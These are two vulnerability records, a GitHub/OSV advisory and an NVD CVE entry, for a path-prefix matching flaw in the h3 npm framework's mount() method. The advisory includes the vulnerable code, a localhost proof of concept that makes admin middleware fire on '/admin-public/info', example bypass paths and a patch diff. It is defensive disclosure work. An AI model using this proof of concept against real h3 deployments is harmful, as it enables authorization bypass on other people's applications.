{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.1-rc.16"
      },
      "package": {
        "ecosystem": "npm",
        "name": "h3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1-alpha.0"
            },
            {
              "fixed": "2.0.1-rc.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-706"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:50:27Z",
    "nvd_published_at": "2026-03-26T18:16:30Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe `mount()` method in h3 uses a simple `startsWith()` check to determine whether incoming requests fall under a mounted sub-application\u0027s path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is `/` or end-of-string), middleware registered on a mount like `/admin` will also execute for unrelated routes such as `/admin-public`, `/administrator`, or `/adminstuff`. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.\n\n## Details\n\nThe root cause is in `src/h3.ts:127` within the `mount()` method:\n\n```typescript\n// src/h3.ts:122-135\nmount(base: string, input: FetchHandler | FetchableObject | H3Type) {\n  if (\"handler\" in input) {\n    if (input[\"~middleware\"].length \u003e 0) {\n      this[\"~middleware\"].push((event, next) =\u003e {\n        const originalPathname = event.url.pathname;\n        if (!originalPathname.startsWith(base)) {  // \u003c-- BUG: no segment boundary check\n          return next();\n        }\n        event.url.pathname = event.url.pathname.slice(base.length) || \"/\";\n        return callMiddleware(event, input[\"~middleware\"], () =\u003e {\n          event.url.pathname = originalPathname;\n          return next();\n        });\n      });\n    }\n```\n\nWhen a sub-app is mounted at `/admin`, the check `originalPathname.startsWith(\"/admin\")` returns `true` for `/admin`, `/admin/`, `/admin/dashboard`, but also for `/admin-public`, `/administrator`, `/adminFoo`, etc. The mounted sub-app\u0027s entire middleware chain then executes for these unrelated paths.\n\nA secondary instance of the same flaw exists in `src/utils/internal/path.ts:40`:\n\n```typescript\n// src/utils/internal/path.ts:35-45\nexport function withoutBase(input: string = \"\", base: string = \"\"): string {\n  if (!base || base === \"/\") {\n    return input;\n  }\n  const _base = withoutTrailingSlash(base);\n  if (!input.startsWith(_base)) {  // \u003c-- Same flaw: no segment boundary check\n    return input;\n  }\n  const trimmed = input.slice(_base.length);\n  return trimmed[0] === \"/\" ? trimmed : \"/\" + trimmed;\n}\n```\n\nThe `withoutBase()` utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., `withoutBase(\"/admin-public/info\", \"/admin\")` returns `/-public/info`).\n\n**Exploitation flow:**\n\n1. Developer mounts a sub-app at `/admin` with middleware that sets `event.context.isAdmin = true`\n2. Developer defines a separate route `/admin-public/info` on the parent app that reads `event.context.isAdmin`\n3. Attacker requests `GET /admin-public/info`\n4. The `/admin` mount\u0027s `startsWith` check passes \u2192 admin middleware executes \u2192 sets `isAdmin = true`\n5. The middleware\u0027s \"restore pathname\" callback fires, control returns to the parent app\n6. The `/admin-public/info` handler sees `event.context.isAdmin === true`\n\n## PoC\n\n```javascript\n// poc.js \u2014 demonstrates context pollution across mount boundaries\nimport { H3 } from \"h3\";\n\nconst adminApp = new H3();\n\n// Admin middleware sets privileged context\nadminApp.use(() =\u003e {}, {\n  onRequest: (event) =\u003e {\n    event.context.isAdmin = true;\n  }\n});\n\nadminApp.get(\"/dashboard\", (event) =\u003e {\n  return { admin: true, context: event.context };\n});\n\nconst app = new H3();\n\n// Mount admin sub-app at /admin\napp.mount(\"/admin\", adminApp);\n\n// Public route that happens to share the \"/admin\" prefix\napp.get(\"/admin-public/info\", (event) =\u003e {\n  return {\n    path: event.url.pathname,\n    isAdmin: event.context.isAdmin ?? false,  // Should always be false here\n  };\n});\n\n// Test with fetch\nconst server = Bun.serve({ port: 3000, fetch: app.fetch });\n\n// This request should NOT trigger admin middleware, but it does\nconst res = await fetch(\"http://localhost:3000/admin-public/info\");\nconst body = await res.json();\nconsole.log(body);\n// Actual output: { path: \"/admin-public/info\", isAdmin: true }\n// Expected output: { path: \"/admin-public/info\", isAdmin: false }\n\nserver.stop();\n```\n\n**Steps to reproduce:**\n\n```bash\n# 1. Clone h3 and install\ngit clone https://github.com/h3js/h3 \u0026\u0026 cd h3\ncorepack enable \u0026\u0026 pnpm install \u0026\u0026 pnpm build\n\n# 2. Save poc.js (above) and run\nbun poc.js\n# Output shows isAdmin: true \u2014 admin middleware leaked to /admin-public/info\n\n# 3. Verify the boundary leak with additional paths:\n# GET /administrator \u2192 admin middleware fires\n# GET /adminstuff   \u2192 admin middleware fires\n# GET /admin123     \u2192 admin middleware fires\n# GET /admi         \u2192 admin middleware does NOT fire (correct)\n```\n\n## Impact\n\n- **Context pollution across mount boundaries**: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (`isAdmin`, `isAuthenticated`, role assignments) on requests to completely unrelated routes.\n- **Authorization bypass**: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler.\n- **Path mangling**: The `withoutBase()` utility produces incorrect paths (e.g., `/-public/info` instead of `/admin-public/info`) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.\n- **Scope**: Any h3 v2 application using `mount()` with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.\n\n## Recommended Fix\n\nAdd a segment boundary check after the `startsWith` call in both locations. The character immediately following the base prefix must be `/`, `?`, `#`, or the string must end exactly at the base:\n\n**Fix for `src/h3.ts:127`:**\n\n```diff\n mount(base: string, input: FetchHandler | FetchableObject | H3Type) {\n   if (\"handler\" in input) {\n     if (input[\"~middleware\"].length \u003e 0) {\n       this[\"~middleware\"].push((event, next) =\u003e {\n         const originalPathname = event.url.pathname;\n-        if (!originalPathname.startsWith(base)) {\n+        if (!originalPathname.startsWith(base) ||\n+            (originalPathname.length \u003e base.length \u0026\u0026 originalPathname[base.length] !== \"/\")) {\n           return next();\n         }\n```\n\n**Fix for `src/utils/internal/path.ts:40`:**\n\n```diff\n export function withoutBase(input: string = \"\", base: string = \"\"): string {\n   if (!base || base === \"/\") {\n     return input;\n   }\n   const _base = withoutTrailingSlash(base);\n-  if (!input.startsWith(_base)) {\n+  if (!input.startsWith(_base) ||\n+      (input.length \u003e _base.length \u0026\u0026 input[_base.length] !== \"/\")) {\n     return input;\n   }\n```\n\nThis ensures that `/admin` only matches `/admin`, `/admin/`, and `/admin/...` \u2014 never `/admin-public`, `/administrator`, or other coincidental string-prefix matches.",
  "id": "GHSA-2j6q-whv2-gh6w",
  "modified": "2026-03-27T20:58:29Z",
  "published": "2026-03-20T20:50:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-2j6q-whv2-gh6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33490"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h3js/h3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc1:*:*:*:node.js:*:*",
              "matchCriteriaId": "910077BC-C84C-4CAB-A0A5-761047F6F43C",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc10:*:*:*:node.js:*:*",
              "matchCriteriaId": "603A08FC-B20B-4693-90A1-0BF5F08B43AC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc11:*:*:*:node.js:*:*",
              "matchCriteriaId": "BCC5ECF0-0EED-48BC-95FA-1D2671A971A9",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc12:*:*:*:node.js:*:*",
              "matchCriteriaId": "BCCBE75E-DCF6-45FD-B57E-F8E2ADE3129F",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc13:*:*:*:node.js:*:*",
              "matchCriteriaId": "3B66082C-3F3E-4BC6-9543-A2F9CFE3AAC6",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc14:*:*:*:node.js:*:*",
              "matchCriteriaId": "3D1C9D7B-3CE4-427B-93B4-EAF867159AFB",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc15:*:*:*:node.js:*:*",
              "matchCriteriaId": "5AE7D8A6-4506-418A-ABA4-C820A1DA7E7F",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc16:*:*:*:node.js:*:*",
              "matchCriteriaId": "281715D9-6C86-4D4E-9833-C18A8CABD05A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc2:*:*:*:node.js:*:*",
              "matchCriteriaId": "C5E7779A-00CA-45E7-8F68-1DAB5388ED4A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc3:*:*:*:node.js:*:*",
              "matchCriteriaId": "064C21F5-8633-45F3-9A3D-3FB029A867B9",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc4:*:*:*:node.js:*:*",
              "matchCriteriaId": "DDBC1DFD-8063-4AE1-92D8-B3B33735FEF0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc5:*:*:*:node.js:*:*",
              "matchCriteriaId": "496314A3-8F2B-4274-9D0D-7F11E896FEA5",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc6:*:*:*:node.js:*:*",
              "matchCriteriaId": "35F49342-D52C-4762-9369-F380C5E7E0B5",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc7:*:*:*:node.js:*:*",
              "matchCriteriaId": "D11CA1A7-3141-46EA-9687-32C333FC7B0C",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc8:*:*:*:node.js:*:*",
              "matchCriteriaId": "A4A6FD03-5DE5-4D73-9FF3-BB653302C60B",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:h3:h3:2.0.1:rc9:*:*:*:node.js:*:*",
              "matchCriteriaId": "5E404148-6862-44F5-961D-10E8A742A4B6",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "H3 is a minimal H(TTP) framework. In versions 2.0.0-0 through 2.0.1-rc.16, the `mount()` method in h3 uses a simple `startsWith()` check to determine whether incoming requests fall under a mounted sub-application\u0027s path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is `/` or end-of-string), middleware registered on a mount like `/admin` will also execute for unrelated routes such as `/admin-public`, `/administrator`, or `/adminstuff`. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags. Version 2.0.2-rc.17 contains a patch."
    },
    {
      "lang": "es",
      "value": "H3 es un framework H(TTP) m\u00ednimo. En las versiones 2.0.0-0 hasta la 2.0.1-rc.16, el m\u00e9todo \u0027mount()\u0027 en h3 usa una simple verificaci\u00f3n \u0027startsWith()\u0027 para determinar si las solicitudes entrantes caen bajo el prefijo de ruta de una subaplicaci\u00f3n montada. Debido a que esta verificaci\u00f3n no verifica un l\u00edmite de segmento de ruta (es decir, que el siguiente car\u00e1cter despu\u00e9s de la base es \u0027/\u0027 o el final de la cadena), el middleware registrado en un montaje como \u0027/admin\u0027 tambi\u00e9n se ejecutar\u00e1 para rutas no relacionadas como \u0027/admin-public\u0027, \u0027/administrator\u0027 o \u0027/adminstuff\u0027. Esto permite a un atacante activar middleware de configuraci\u00f3n de contexto en rutas que nunca se pretendi\u00f3 cubrir, potencialmente contaminando el contexto de la solicitud con indicadores de privilegio no deseados. La versi\u00f3n 2.0.2-rc.17 contiene un parche."
    }
  ],
  "id": "CVE-2026-33490",
  "lastModified": "2026-03-31T21:00:13.690",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.7,
          "baseSeverity": "LOW",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-26T18:16:30.237",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-2j6q-whv2-gh6w"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-2j6q-whv2-gh6w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-706"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}